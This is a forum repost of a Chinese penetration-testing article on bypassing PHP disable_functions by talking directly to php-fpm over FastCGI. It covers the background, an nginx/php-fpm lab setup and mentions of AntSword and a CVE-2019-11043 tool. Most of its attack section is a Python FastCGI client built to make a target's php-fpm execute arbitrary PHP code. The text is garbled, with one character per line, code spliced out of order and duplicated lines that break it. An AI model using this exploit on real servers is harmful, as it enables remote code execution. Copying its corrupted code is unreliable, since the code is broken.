论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
编程语言
[357] 2020-11-16_php-fpm绕过disable_functions
文档创建者:
s7ckTeam
浏览次数:
2
最后更新:
2025-01-16
编程语言
2 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-58
6万
主题
-6万
回帖
-58
积分
管理员
积分
-58
发消息
2020-11-16_php-fpm绕过disable_functions
p
h
p
-
f
p
m
绕
过
d
i
s
a
b
l
e
_
f
u
n
c
t
i
o
n
s
原
创
a
F
a
攻
防
实
验
室
a
F
a
攻
防
实
验
室
2
0
2
0
-
1
1
-
1
6
收
录
于
话
题
#
渗
透
测
试
,
1
4
个
基
础
介
绍
基
础
介
绍
什
么
是
c
g
i
?
c
g
i
是
c
o
m
m
o
n
g
a
t
e
w
a
y
i
n
t
e
r
f
a
c
e
通
用
网
关
接
口
。
作
用
:
早
期
w
e
b
服
务
器
只
能
处
理
h
t
m
l
这
种
静
态
语
言
,
后
来
有
了
j
a
v
a
、
p
h
p
这
些
动
态
语
言
后
,
就
无
法
处
理
了
,
为
了
解
决
这
个
问
题
,
每
个
语
言
都
有
自
己
的
解
释
器
,
让
解
释
器
和
w
e
b
服
务
器
通
信
,
而
它
们
之
间
的
通
信
就
要
遵
循
c
g
i
协
议
。
什
么
是
f
a
s
t
-
c
g
i
?
有
了
c
g
i
后
,
w
e
b
服
务
器
拥
有
了
处
理
动
态
语
言
的
能
力
,
但
每
收
到
一
个
请
求
,
都
会
产
生
一
个
新
的
c
g
i
进
程
,
请
求
结
束
后
再
杀
掉
这
个
进
程
。
导
致
问
题
是
如
果
请
求
数
过
多
,
就
会
有
很
多
进
程
出
来
。
于
是
c
g
i
进
行
了
升
级
为
f
a
s
t
-
c
g
i
,
一
个
f
a
s
t
-
c
g
i
进
行
可
以
接
收
多
个
请
求
,
而
且
不
会
杀
掉
,
可
持
续
来
接
收
请
求
。
什
么
是
p
h
p
-
f
p
m
?
p
h
p
-
f
p
m
是
p
h
p
f
a
s
t
c
g
i
p
r
o
c
e
s
s
m
a
n
a
g
e
r
缩
写
,
即
p
h
p
的
f
a
s
t
c
g
i
的
进
程
管
理
器
。
它
包
含
m
a
s
t
e
r
和
w
o
r
k
e
r
两
个
进
程
,
m
a
s
t
e
r
进
程
只
有
一
个
,
它
负
责
监
听
端
口
,
接
收
w
e
b
的
请
求
,
而
w
o
r
k
e
r
进
程
有
多
个
,
每
个
w
o
r
k
e
r
进
程
中
都
有
一
个
p
h
p
解
释
器
,
用
来
执
行
p
h
p
代
码
。
大
概
原
理
大
概
原
理
大
概
原
理
如
下
图
:
1
,
客
户
端
将
请
求
发
给
n
g
i
n
x
。
2
,
n
g
i
n
x
的
f
a
s
t
-
c
g
i
模
块
会
根
据
c
g
i
协
议
将
请
求
数
据
包
进
行
封
装
,
然
后
发
送
给
f
p
m
-
p
h
p
。
3
,
f
p
m
-
p
h
p
会
根
据
c
g
i
协
议
对
数
据
包
进
行
解
析
,
然
后
调
用
相
关
p
h
p
文
件
进
行
处
理
。
4
,
f
p
m
-
p
h
p
将
处
理
后
的
结
果
返
回
给
n
g
i
n
x
。
5
,
n
g
i
n
x
将
结
果
返
回
到
浏
览
器
。
环
境
搭
建
环
境
搭
建
这
里
手
工
搭
建
测
试
下
,
使
用
v
u
l
t
r
建
一
个
u
b
u
n
t
u
系
统
,
执
行
以
下
命
令
。
随
后
设
置
f
p
m
和
n
g
i
n
x
之
间
的
通
信
,
这
里
支
持
两
种
方
式
,
一
种
t
c
p
的
一
种
s
o
c
k
e
t
的
,
以
t
c
p
方
式
为
例
。
先
配
置
n
g
i
n
x
,
执
行
命
令
v
i
m
/
e
t
c
/
n
g
i
n
x
/
s
i
t
e
s
-
e
n
a
b
l
e
d
/
d
e
f
a
u
l
t
,
按
照
下
图
把
相
关
注
释
打
开
。
随
后
再
配
置
p
h
p
,
执
行
命
令
v
i
m
/
e
t
c
/
p
h
p
/
7
.
3
/
f
p
m
/
p
o
o
l
.
d
/
w
w
w
.
c
o
n
f
,
把
l
i
s
t
e
n
由
原
来
的
s
o
c
k
改
为
t
c
p
,
如
下
图
。
a
p
t
i
n
s
t
a
l
l
-
y
n
g
i
n
x
a
p
t
i
n
s
t
a
l
l
-
y
s
o
f
t
w
a
r
e
-
p
r
o
p
e
r
t
i
e
s
-
c
o
m
m
o
n
#
支
持
a
d
d
-
a
p
t
-
r
e
p
o
s
i
t
o
r
y
命
令
a
d
d
-
a
p
t
-
r
e
p
o
s
i
t
o
r
y
-
y
p
p
a
:
o
n
d
r
e
j
/
p
h
p
#
使
用
a
d
d
-
a
p
t
-
r
e
p
o
s
i
t
o
r
y
命
令
添
加
p
p
a
a
p
t
u
p
d
a
t
e
a
p
t
i
n
s
t
a
l
l
-
y
p
h
p
7
.
3
-
f
p
m
配
置
好
后
,
进
行
重
启
。
/
e
t
c
/
i
n
i
t
.
d
/
p
h
p
7
.
3
-
f
p
m
r
e
s
t
a
r
t
s
e
r
v
i
c
e
n
g
i
n
x
r
e
s
t
a
r
t
执
行
`
n
e
t
s
t
a
t
-
a
p
|
g
r
e
p
9
0
0
0
`
进
行
查
看
。
查
看
s
e
r
v
e
r
a
p
i
是
否
为
f
p
m
/
f
a
s
t
c
g
i
。
测
试
测
试
大
体
过
程
就
是
构
造
n
g
i
n
x
的
f
a
s
t
c
g
i
包
和
f
p
m
通
信
,
从
而
执
行
命
令
。
网
上
测
试
代
码
很
多
,
原
理
都
是
这
种
,
这
里
就
拿
下
面
的
p
y
t
h
o
n
代
码
做
测
试
。
i
m
p
o
r
t
s
o
c
k
e
t
i
m
p
o
r
t
r
a
n
d
o
m
i
m
p
o
r
t
a
r
g
p
a
r
s
e
i
m
p
o
r
t
s
y
s
f
r
o
m
i
o
i
m
p
o
r
t
B
y
t
e
s
I
O
#
R
e
f
e
r
r
e
r
:
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
w
u
y
u
n
f
e
n
g
/
P
y
t
h
o
n
-
F
a
s
t
C
G
I
-
C
l
i
e
n
t
P
Y
2
=
T
r
u
e
i
f
s
y
s
.
v
e
r
s
i
o
n
_
i
n
f
o
.
m
a
j
o
r
=
=
2
e
l
s
e
F
a
l
s
e
d
e
f
b
c
h
r
(
i
)
:
i
f
P
Y
2
:
r
e
t
u
r
n
f
o
r
c
e
_
b
y
t
e
s
(
c
h
r
(
i
)
)
r
e
t
u
r
n
f
o
r
c
e
_
b
y
t
e
s
(
c
h
r
(
i
)
)
e
l
s
e
:
r
e
t
u
r
n
b
y
t
e
s
(
[
i
]
)
d
e
f
b
o
r
d
(
c
)
:
i
f
i
s
i
n
s
t
a
n
c
e
(
c
,
i
n
t
)
:
r
e
t
u
r
n
c
e
l
s
e
:
r
e
t
u
r
n
o
r
d
(
c
)
d
e
f
f
o
r
c
e
_
b
y
t
e
s
(
s
)
:
i
f
i
s
i
n
s
t
a
n
c
e
(
s
,
b
y
t
e
s
)
:
r
e
t
u
r
n
s
e
l
s
e
:
r
e
t
u
r
n
s
.
e
n
c
o
d
e
(
'
u
t
f
-
8
'
,
'
s
t
r
i
c
t
'
)
d
e
f
f
o
r
c
e
_
t
e
x
t
(
s
)
:
i
f
i
s
s
u
b
c
l
a
s
s
(
t
y
p
e
(
s
)
,
s
t
r
)
:
r
e
t
u
r
n
s
i
f
i
s
i
n
s
t
a
n
c
e
(
s
,
b
y
t
e
s
)
:
s
=
s
t
r
(
s
,
'
u
t
f
-
8
'
,
'
s
t
r
i
c
t
'
)
e
l
s
e
:
s
=
s
t
r
(
s
)
r
e
t
u
r
n
s
c
l
a
s
s
F
a
s
t
C
G
I
C
l
i
e
n
t
:
"
"
"
A
F
a
s
t
-
C
G
I
C
l
i
e
n
t
f
o
r
P
y
t
h
o
n
"
"
"
#
p
r
i
v
a
t
e
_
_
F
C
G
I
_
V
E
R
S
I
O
N
=
1
_
_
F
C
G
I
_
R
O
L
E
_
R
E
S
P
O
N
D
E
R
=
1
_
_
F
C
G
I
_
R
O
L
E
_
A
U
T
H
O
R
I
Z
E
R
=
2
_
_
F
C
G
I
_
R
O
L
E
_
F
I
L
T
E
R
=
3
_
_
F
C
G
I
_
T
Y
P
E
_
B
E
G
I
N
=
1
_
_
F
C
G
I
_
T
Y
P
E
_
A
B
O
R
T
=
2
_
_
F
C
G
I
_
T
Y
P
E
_
E
N
D
=
3
_
_
F
C
G
I
_
T
Y
P
E
_
P
A
R
A
M
S
=
4
_
_
F
C
G
I
_
T
Y
P
E
_
S
T
D
I
N
=
5
_
_
F
C
G
I
_
T
Y
P
E
_
S
T
D
O
U
T
=
6
_
_
F
C
G
I
_
T
Y
P
E
_
S
T
D
E
R
R
=
7
_
_
F
C
G
I
_
T
Y
P
E
_
D
A
T
A
=
8
_
_
F
C
G
I
_
T
Y
P
E
_
G
E
T
V
A
L
U
E
S
=
9
_
_
F
C
G
I
_
T
Y
P
E
_
G
E
T
V
A
L
U
E
S
_
R
E
S
U
L
T
=
1
0
_
_
F
C
G
I
_
T
Y
P
E
_
U
N
K
O
W
N
T
Y
P
E
=
1
1
_
_
F
C
G
I
_
H
E
A
D
E
R
_
S
I
Z
E
=
8
#
r
e
q
u
e
s
t
s
t
a
t
e
F
C
G
I
_
S
T
A
T
E
_
S
E
N
D
=
1
F
C
G
I
_
S
T
A
T
E
_
E
R
R
O
R
=
2
F
C
G
I
_
S
T
A
T
E
_
S
U
C
C
E
S
S
=
3
d
e
f
_
_
i
n
i
t
_
_
(
s
e
l
f
,
h
o
s
t
,
p
o
r
t
,
t
i
m
e
o
u
t
,
k
e
e
p
a
l
i
v
e
)
:
s
e
l
f
.
h
o
s
t
=
h
o
s
t
s
e
l
f
.
h
o
s
t
=
h
o
s
t
s
e
l
f
.
p
o
r
t
=
p
o
r
t
s
e
l
f
.
t
i
m
e
o
u
t
=
t
i
m
e
o
u
t
i
f
k
e
e
p
a
l
i
v
e
:
s
e
l
f
.
k
e
e
p
a
l
i
v
e
=
1
e
l
s
e
:
s
e
l
f
.
k
e
e
p
a
l
i
v
e
=
0
s
e
l
f
.
s
o
c
k
=
N
o
n
e
s
e
l
f
.
r
e
q
u
e
s
t
s
=
d
i
c
t
(
)
d
e
f
_
_
c
o
n
n
e
c
t
(
s
e
l
f
)
:
s
e
l
f
.
s
o
c
k
=
s
o
c
k
e
t
.
s
o
c
k
e
t
(
s
o
c
k
e
t
.
A
F
_
I
N
E
T
,
s
o
c
k
e
t
.
S
O
C
K
_
S
T
R
E
A
M
)
s
e
l
f
.
s
o
c
k
.
s
e
t
t
i
m
e
o
u
t
(
s
e
l
f
.
t
i
m
e
o
u
t
)
s
e
l
f
.
s
o
c
k
.
s
e
t
s
o
c
k
o
p
t
(
s
o
c
k
e
t
.
S
O
L
_
S
O
C
K
E
T
,
s
o
c
k
e
t
.
S
O
_
R
E
U
S
E
A
D
D
R
,
1
)
#
i
f
s
e
l
f
.
k
e
e
p
a
l
i
v
e
:
#
s
e
l
f
.
s
o
c
k
.
s
e
t
s
o
c
k
o
p
t
(
s
o
c
k
e
t
.
S
O
L
_
S
O
C
K
E
T
,
s
o
c
k
e
t
.
S
O
L
_
K
E
E
P
A
L
I
V
E
,
1
)
#
e
l
s
e
:
#
s
e
l
f
.
s
o
c
k
.
s
e
t
s
o
c
k
o
p
t
(
s
o
c
k
e
t
.
S
O
L
_
S
O
C
K
E
T
,
s
o
c
k
e
t
.
S
O
L
_
K
E
E
P
A
L
I
V
E
,
0
)
t
r
y
:
s
e
l
f
.
s
o
c
k
.
c
o
n
n
e
c
t
(
(
s
e
l
f
.
h
o
s
t
,
i
n
t
(
s
e
l
f
.
p
o
r
t
)
)
)
e
x
c
e
p
t
s
o
c
k
e
t
.
e
r
r
o
r
a
s
m
s
g
:
s
e
l
f
.
s
o
c
k
.
c
l
o
s
e
(
)
s
e
l
f
.
s
o
c
k
=
N
o
n
e
p
r
i
n
t
(
r
e
p
r
(
m
s
g
)
)
r
e
t
u
r
n
F
a
l
s
e
r
e
t
u
r
n
T
r
u
e
d
e
f
_
_
e
n
c
o
d
e
F
a
s
t
C
G
I
R
e
c
o
r
d
(
s
e
l
f
,
f
c
g
i
_
t
y
p
e
,
c
o
n
t
e
n
t
,
r
e
q
u
e
s
t
i
d
)
:
l
e
n
g
t
h
=
l
e
n
(
c
o
n
t
e
n
t
)
b
u
f
=
b
c
h
r
(
F
a
s
t
C
G
I
C
l
i
e
n
t
.
_
_
F
C
G
I
_
V
E
R
S
I
O
N
)
+
b
c
h
r
(
f
c
g
i
_
t
y
p
e
)
+
b
c
h
r
(
(
r
e
q
u
e
s
t
i
d
>
>
8
)
&
0
x
F
F
)
+
b
c
h
r
(
r
e
q
u
e
s
t
i
d
&
0
x
F
F
)
+
b
c
h
r
(
(
l
e
n
g
t
h
>
>
8
)
&
0
x
F
F
)
+
b
c
h
r
(
l
e
n
g
t
h
&
0
x
F
F
)
+
b
c
h
r
(
0
)
+
b
c
h
r
(
0
)
+
c
o
n
t
e
n
t
r
e
t
u
r
n
b
u
f
d
e
f
_
_
e
n
c
o
d
e
N
a
m
e
V
a
l
u
e
P
a
r
a
m
s
(
s
e
l
f
,
n
a
m
e
,
v
a
l
u
e
)
:
n
L
e
n
=
l
e
n
(
n
a
m
e
)
v
L
e
n
=
l
e
n
(
v
a
l
u
e
)
r
e
c
o
r
d
=
b
'
'
i
f
n
L
e
n
<
1
2
8
:
r
e
c
o
r
d
+
=
b
c
h
r
(
n
L
e
n
)
e
l
s
e
:
r
e
c
o
r
d
+
=
b
c
h
r
(
(
n
L
e
n
>
>
2
4
)
|
0
x
8
0
)
+
b
c
h
r
(
(
n
L
e
n
>
>
1
6
)
&
0
x
F
F
)
+
b
c
h
r
(
(
n
L
e
n
>
>
8
)
&
0
x
F
F
)
+
b
c
h
r
(
n
L
e
n
&
0
x
F
F
)
i
f
v
L
e
n
<
1
2
8
:
r
e
c
o
r
d
+
=
b
c
h
r
(
v
L
e
n
)
e
l
s
e
:
r
e
c
o
r
d
+
=
b
c
h
r
(
(
v
L
e
n
>
>
2
4
)
|
0
x
8
0
)
+
b
c
h
r
(
(
v
L
e
n
>
>
1
6
)
&
0
x
F
F
)
+
b
c
h
r
(
(
v
L
e
n
>
>
8
)
&
0
x
F
F
)
+
b
c
h
r
(
(
v
L
e
n
>
>
8
)
&
0
x
F
F
)
+
b
c
h
r
(
v
L
e
n
&
0
x
F
F
)
r
e
t
u
r
n
r
e
c
o
r
d
+
n
a
m
e
+
v
a
l
u
e
d
e
f
_
_
d
e
c
o
d
e
F
a
s
t
C
G
I
H
e
a
d
e
r
(
s
e
l
f
,
s
t
r
e
a
m
)
:
h
e
a
d
e
r
=
d
i
c
t
(
)
h
e
a
d
e
r
[
'
v
e
r
s
i
o
n
'
]
=
b
o
r
d
(
s
t
r
e
a
m
[
0
]
)
h
e
a
d
e
r
[
'
t
y
p
e
'
]
=
b
o
r
d
(
s
t
r
e
a
m
[
1
]
)
h
e
a
d
e
r
[
'
r
e
q
u
e
s
t
I
d
'
]
=
(
b
o
r
d
(
s
t
r
e
a
m
[
2
]
)
<
<
8
)
+
b
o
r
d
(
s
t
r
e
a
m
[
3
]
)
h
e
a
d
e
r
[
'
c
o
n
t
e
n
t
L
e
n
g
t
h
'
]
=
(
b
o
r
d
(
s
t
r
e
a
m
[
4
]
)
<
<
8
)
+
b
o
r
d
(
s
t
r
e
a
m
[
5
]
)
h
e
a
d
e
r
[
'
p
a
d
d
i
n
g
L
e
n
g
t
h
'
]
=
b
o
r
d
(
s
t
r
e
a
m
[
6
]
)
h
e
a
d
e
r
[
'
r
e
s
e
r
v
e
d
'
]
=
b
o
r
d
(
s
t
r
e
a
m
[
7
]
)
r
e
t
u
r
n
h
e
a
d
e
r
d
e
f
_
_
d
e
c
o
d
e
F
a
s
t
C
G
I
R
e
c
o
r
d
(
s
e
l
f
,
b
u
f
f
e
r
)
:
h
e
a
d
e
r
=
b
u
f
f
e
r
.
r
e
a
d
(
i
n
t
(
s
e
l
f
.
_
_
F
C
G
I
_
H
E
A
D
E
R
_
S
I
Z
E
)
)
i
f
n
o
t
h
e
a
d
e
r
:
r
e
t
u
r
n
F
a
l
s
e
e
l
s
e
:
r
e
c
o
r
d
=
s
e
l
f
.
_
_
d
e
c
o
d
e
F
a
s
t
C
G
I
H
e
a
d
e
r
(
h
e
a
d
e
r
)
r
e
c
o
r
d
[
'
c
o
n
t
e
n
t
'
]
=
b
'
'
i
f
'
c
o
n
t
e
n
t
L
e
n
g
t
h
'
i
n
r
e
c
o
r
d
.
k
e
y
s
(
)
:
c
o
n
t
e
n
t
L
e
n
g
t
h
=
i
n
t
(
r
e
c
o
r
d
[
'
c
o
n
t
e
n
t
L
e
n
g
t
h
'
]
)
r
e
c
o
r
d
[
'
c
o
n
t
e
n
t
'
]
+
=
b
u
f
f
e
r
.
r
e
a
d
(
c
o
n
t
e
n
t
L
e
n
g
t
h
)
i
f
'
p
a
d
d
i
n
g
L
e
n
g
t
h
'
i
n
r
e
c
o
r
d
.
k
e
y
s
(
)
:
s
k
i
p
e
d
=
b
u
f
f
e
r
.
r
e
a
d
(
i
n
t
(
r
e
c
o
r
d
[
'
p
a
d
d
i
n
g
L
e
n
g
t
h
'
]
)
)
r
e
t
u
r
n
r
e
c
o
r
d
d
e
f
r
e
q
u
e
s
t
(
s
e
l
f
,
n
a
m
e
V
a
l
u
e
P
a
i
r
s
=
{
}
,
p
o
s
t
=
'
'
)
:
i
f
n
o
t
s
e
l
f
.
_
_
c
o
n
n
e
c
t
(
)
:
p
r
i
n
t
(
'
c
o
n
n
e
c
t
f
a
i
l
u
r
e
!
p
l
e
a
s
e
c
h
e
c
k
y
o
u
r
f
a
s
c
t
c
g
i
-
s
e
r
v
e
r
!
!
'
)
r
e
t
u
r
n
r
e
q
u
e
s
t
I
d
=
r
a
n
d
o
m
.
r
a
n
d
i
n
t
(
1
,
(
1
<
<
1
6
)
-
1
)
s
e
l
f
.
r
e
q
u
e
s
t
s
[
r
e
q
u
e
s
t
I
d
]
=
d
i
c
t
(
)
r
e
q
u
e
s
t
=
b
"
"
b
e
g
i
n
F
C
G
I
R
e
c
o
r
d
C
o
n
t
e
n
t
=
b
c
h
r
(
0
)
+
b
c
h
r
(
F
a
s
t
C
G
I
C
l
i
e
n
t
.
_
_
F
C
G
I
_
R
O
L
E
_
R
E
S
P
O
N
D
E
R
)
+
b
c
h
r
(
s
e
l
f
.
k
e
e
p
a
l
i
v
e
)
+
b
c
h
r
(
0
)
*
5
r
e
q
u
e
s
t
+
=
s
e
l
f
.
_
_
e
n
c
o
d
e
F
a
s
t
C
G
I
R
e
c
o
r
d
(
F
a
s
t
C
G
I
C
l
i
e
n
t
.
_
_
F
C
G
I
_
T
Y
P
E
_
B
E
G
I
N
,
b
e
g
i
n
F
C
G
I
R
e
c
o
r
d
C
o
n
t
e
n
t
,
r
e
q
u
e
s
t
I
d
)
p
a
r
a
m
s
R
e
c
o
r
d
=
b
'
'
i
f
n
a
m
e
V
a
l
u
e
P
a
i
r
s
:
f
o
r
(
n
a
m
e
,
v
a
l
u
e
)
i
n
n
a
m
e
V
a
l
u
e
P
a
i
r
s
.
i
t
e
m
s
(
)
:
n
a
m
e
=
f
o
r
c
e
_
b
y
t
e
s
(
n
a
m
e
)
v
a
l
u
e
=
f
o
r
c
e
_
b
y
t
e
s
(
v
a
l
u
e
)
p
a
r
a
m
s
R
e
c
o
r
d
+
=
s
e
l
f
.
_
_
e
n
c
o
d
e
N
a
m
e
V
a
l
u
e
P
a
r
a
m
s
(
n
a
m
e
,
v
a
l
u
e
)
i
f
p
a
r
a
m
s
R
e
c
o
r
d
:
r
e
q
u
e
s
t
+
=
s
e
l
f
.
_
_
e
n
c
o
d
e
F
a
s
t
C
G
I
R
e
c
o
r
d
(
F
a
s
t
C
G
I
C
l
i
e
n
t
.
_
_
F
C
G
I
_
T
Y
P
E
_
P
A
R
A
M
S
,
p
a
r
a
m
s
R
e
c
o
r
d
,
r
e
q
u
e
s
t
I
d
)
r
e
q
u
e
s
t
+
=
s
e
l
f
.
_
_
e
n
c
o
d
e
F
a
s
t
C
G
I
R
e
c
o
r
d
(
F
a
s
t
C
G
I
C
l
i
e
n
t
.
_
_
F
C
G
I
_
T
Y
P
E
_
P
A
R
A
M
S
,
b
'
'
,
r
e
q
u
e
s
t
I
d
)
i
f
p
o
s
t
:
r
e
q
u
e
s
t
+
=
s
e
l
f
.
_
_
e
n
c
o
d
e
F
a
s
t
C
G
I
R
e
c
o
r
d
(
F
a
s
t
C
G
I
C
l
i
e
n
t
.
_
_
F
C
G
I
_
T
Y
P
E
_
S
T
D
I
N
,
f
o
r
c
e
_
b
y
t
e
s
(
p
o
s
t
)
,
r
e
q
u
e
s
t
I
d
)
r
e
q
u
e
s
t
+
=
s
e
l
f
.
_
_
e
n
c
o
d
e
F
a
s
t
C
G
I
R
e
c
o
r
d
(
F
a
s
t
C
G
I
C
l
i
e
n
t
.
_
_
F
C
G
I
_
T
Y
P
E
_
S
T
D
I
N
,
f
o
r
c
e
_
b
y
t
e
s
(
p
o
s
t
)
,
r
e
q
u
e
s
t
I
d
)
r
e
q
u
e
s
t
+
=
s
e
l
f
.
_
_
e
n
c
o
d
e
F
a
s
t
C
G
I
R
e
c
o
r
d
(
F
a
s
t
C
G
I
C
l
i
e
n
t
.
_
_
F
C
G
I
_
T
Y
P
E
_
S
T
D
I
N
,
b
'
'
,
r
e
q
u
e
s
t
I
d
)
s
e
l
f
.
s
o
c
k
.
s
e
n
d
(
r
e
q
u
e
s
t
)
s
e
l
f
.
r
e
q
u
e
s
t
s
[
r
e
q
u
e
s
t
I
d
]
[
'
s
t
a
t
e
'
]
=
F
a
s
t
C
G
I
C
l
i
e
n
t
.
F
C
G
I
_
S
T
A
T
E
_
S
E
N
D
s
e
l
f
.
r
e
q
u
e
s
t
s
[
r
e
q
u
e
s
t
I
d
]
[
'
r
e
s
p
o
n
s
e
'
]
=
b
'
'
r
e
t
u
r
n
s
e
l
f
.
_
_
w
a
i
t
F
o
r
R
e
s
p
o
n
s
e
(
r
e
q
u
e
s
t
I
d
)
d
e
f
_
_
w
a
i
t
F
o
r
R
e
s
p
o
n
s
e
(
s
e
l
f
,
r
e
q
u
e
s
t
I
d
)
:
d
a
t
a
=
b
'
'
w
h
i
l
e
T
r
u
e
:
b
u
f
=
s
e
l
f
.
s
o
c
k
.
r
e
c
v
(
5
1
2
)
i
f
n
o
t
l
e
n
(
b
u
f
)
:
b
r
e
a
k
d
a
t
a
+
=
b
u
f
d
a
t
a
=
B
y
t
e
s
I
O
(
d
a
t
a
)
w
h
i
l
e
T
r
u
e
:
r
e
s
p
o
n
s
e
=
s
e
l
f
.
_
_
d
e
c
o
d
e
F
a
s
t
C
G
I
R
e
c
o
r
d
(
d
a
t
a
)
i
f
n
o
t
r
e
s
p
o
n
s
e
:
b
r
e
a
k
i
f
r
e
s
p
o
n
s
e
[
'
t
y
p
e
'
]
=
=
F
a
s
t
C
G
I
C
l
i
e
n
t
.
_
_
F
C
G
I
_
T
Y
P
E
_
S
T
D
O
U
T
o
r
r
e
s
p
o
n
s
e
[
'
t
y
p
e
'
]
=
=
F
a
s
t
C
G
I
C
l
i
e
n
t
.
_
_
F
C
G
I
_
T
Y
P
E
_
S
T
D
E
R
R
:
i
f
r
e
s
p
o
n
s
e
[
'
t
y
p
e
'
]
=
=
F
a
s
t
C
G
I
C
l
i
e
n
t
.
_
_
F
C
G
I
_
T
Y
P
E
_
S
T
D
E
R
R
:
s
e
l
f
.
r
e
q
u
e
s
t
s
[
'
s
t
a
t
e
'
]
=
F
a
s
t
C
G
I
C
l
i
e
n
t
.
F
C
G
I
_
S
T
A
T
E
_
E
R
R
O
R
i
f
r
e
q
u
e
s
t
I
d
=
=
i
n
t
(
r
e
s
p
o
n
s
e
[
'
r
e
q
u
e
s
t
I
d
'
]
)
:
s
e
l
f
.
r
e
q
u
e
s
t
s
[
r
e
q
u
e
s
t
I
d
]
[
'
r
e
s
p
o
n
s
e
'
]
+
=
r
e
s
p
o
n
s
e
[
'
c
o
n
t
e
n
t
'
]
i
f
r
e
s
p
o
n
s
e
[
'
t
y
p
e
'
]
=
=
F
a
s
t
C
G
I
C
l
i
e
n
t
.
F
C
G
I
_
S
T
A
T
E
_
S
U
C
C
E
S
S
:
s
e
l
f
.
r
e
q
u
e
s
t
s
[
r
e
q
u
e
s
t
I
d
]
r
e
t
u
r
n
s
e
l
f
.
r
e
q
u
e
s
t
s
[
r
e
q
u
e
s
t
I
d
]
[
'
r
e
s
p
o
n
s
e
'
]
d
e
f
_
_
r
e
p
r
_
_
(
s
e
l
f
)
:
r
e
t
u
r
n
"
f
a
s
t
c
g
i
c
o
n
n
e
c
t
h
o
s
t
:
{
}
p
o
r
t
:
{
}
"
.
f
o
r
m
a
t
(
s
e
l
f
.
h
o
s
t
,
s
e
l
f
.
p
o
r
t
)
i
f
_
_
n
a
m
e
_
_
=
=
'
_
_
m
a
i
n
_
_
'
:
p
a
r
s
e
r
=
a
r
g
p
a
r
s
e
.
A
r
g
u
m
e
n
t
P
a
r
s
e
r
(
d
e
s
c
r
i
p
t
i
o
n
=
'
P
h
p
-
f
p
m
c
o
d
e
e
x
e
c
u
t
i
o
n
v
u
l
n
e
r
a
b
i
l
i
t
y
c
l
i
e
n
t
.
'
)
p
a
r
s
e
r
.
a
d
d
_
a
r
g
u
m
e
n
t
(
'
h
o
s
t
'
,
h
e
l
p
=
'
T
a
r
g
e
t
h
o
s
t
,
s
u
c
h
a
s
1
2
7
.
0
.
0
.
1
'
)
p
a
r
s
e
r
.
a
d
d
_
a
r
g
u
m
e
n
t
(
'
f
i
l
e
'
,
h
e
l
p
=
'
A
p
h
p
f
i
l
e
a
b
s
o
l
u
t
e
p
a
t
h
,
s
u
c
h
a
s
/
u
s
r
/
l
o
c
a
l
/
l
i
b
/
p
h
p
/
S
y
s
t
e
m
.
p
h
p
'
)
p
a
r
s
e
r
.
a
d
d
_
a
r
g
u
m
e
n
t
(
'
-
c
'
,
'
-
-
c
o
d
e
'
,
h
e
l
p
=
'
W
h
a
t
p
h
p
c
o
d
e
y
o
u
r
w
a
n
t
t
o
e
x
e
c
u
t
e
'
,
d
e
f
a
u
l
t
=
'
<
?
p
h
p
p
h
p
i
n
f
o
(
)
;
e
x
i
t
;
?
>
'
)
p
a
r
s
e
r
.
a
d
d
_
a
r
g
u
m
e
n
t
(
'
-
p
'
,
'
-
-
p
o
r
t
'
,
h
e
l
p
=
'
F
a
s
t
C
G
I
p
o
r
t
'
,
d
e
f
a
u
l
t
=
9
0
0
0
,
t
y
p
e
=
i
n
t
)
a
r
g
s
=
p
a
r
s
e
r
.
p
a
r
s
e
_
a
r
g
s
(
)
c
l
i
e
n
t
=
F
a
s
t
C
G
I
C
l
i
e
n
t
(
a
r
g
s
.
h
o
s
t
,
a
r
g
s
.
p
o
r
t
,
3
,
0
)
p
a
r
a
m
s
=
d
i
c
t
(
)
d
o
c
u
m
e
n
t
R
o
o
t
=
"
/
"
u
r
i
=
a
r
g
s
.
f
i
l
e
c
o
n
t
e
n
t
=
a
r
g
s
.
c
o
d
e
p
a
r
a
m
s
=
{
'
G
A
T
E
W
A
Y
_
I
N
T
E
R
F
A
C
E
'
:
'
F
a
s
t
C
G
I
/
1
.
0
'
,
'
R
E
Q
U
E
S
T
_
M
E
T
H
O
D
'
:
'
P
O
S
T
'
,
'
S
C
R
I
P
T
_
F
I
L
E
N
A
M
E
'
:
d
o
c
u
m
e
n
t
R
o
o
t
+
u
r
i
.
l
s
t
r
i
p
(
'
/
'
)
,
'
S
C
R
I
P
T
_
N
A
M
E
'
:
u
r
i
,
'
Q
U
E
R
Y
_
S
T
R
I
N
G
'
:
'
'
,
'
R
E
Q
U
E
S
T
_
U
R
I
'
:
u
r
i
,
'
D
O
C
U
M
E
N
T
_
R
O
O
T
'
:
d
o
c
u
m
e
n
t
R
o
o
t
,
相
关
用
法
如
下
。
注
意
点
1
:
w
i
n
d
o
w
s
下
调
用
f
p
m
文
件
,
c
跟
执
行
代
码
如
果
报
语
法
错
误
,
可
以
尝
试
用
双
引
号
,
l
i
n
u
x
下
单
引
号
没
问
题
。
注
意
点
2
:
f
p
m
一
般
监
听
地
址
为
1
2
7
.
0
.
0
.
1
,
需
要
在
目
标
机
利
用
,
我
这
里
搭
环
境
配
置
时
把
1
2
7
.
0
.
0
.
1
换
成
0
.
0
.
0
.
0
了
。
蚁
剑
测
试
蚁
剑
测
试
上
面
环
境
搭
建
比
较
麻
烦
,
可
以
直
接
使
用
蚁
剑
的
d
o
c
k
e
r
,
然
后
用
蚁
剑
的
插
件
进
行
测
试
。
地
址
:
这
里
以
v
u
l
t
r
为
例
,
执
行
以
下
命
令
:
然
后
按
照
官
方
文
档
说
明
进
行
操
作
就
可
以
了
。
C
V
E
-
2
0
1
9
-
1
1
0
4
3
工
具
利
用
地
址
:
'
D
O
C
U
M
E
N
T
_
R
O
O
T
'
:
d
o
c
u
m
e
n
t
R
o
o
t
,
'
S
E
R
V
E
R
_
S
O
F
T
W
A
R
E
'
:
'
p
h
p
/
f
c
g
i
c
l
i
e
n
t
'
,
'
R
E
M
O
T
E
_
A
D
D
R
'
:
'
1
2
7
.
0
.
0
.
1
'
,
'
R
E
M
O
T
E
_
P
O
R
T
'
:
'
9
9
8
5
'
,
'
S
E
R
V
E
R
_
A
D
D
R
'
:
'
1
2
7
.
0
.
0
.
1
'
,
'
S
E
R
V
E
R
_
P
O
R
T
'
:
'
8
0
'
,
'
S
E
R
V
E
R
_
N
A
M
E
'
:
"
l
o
c
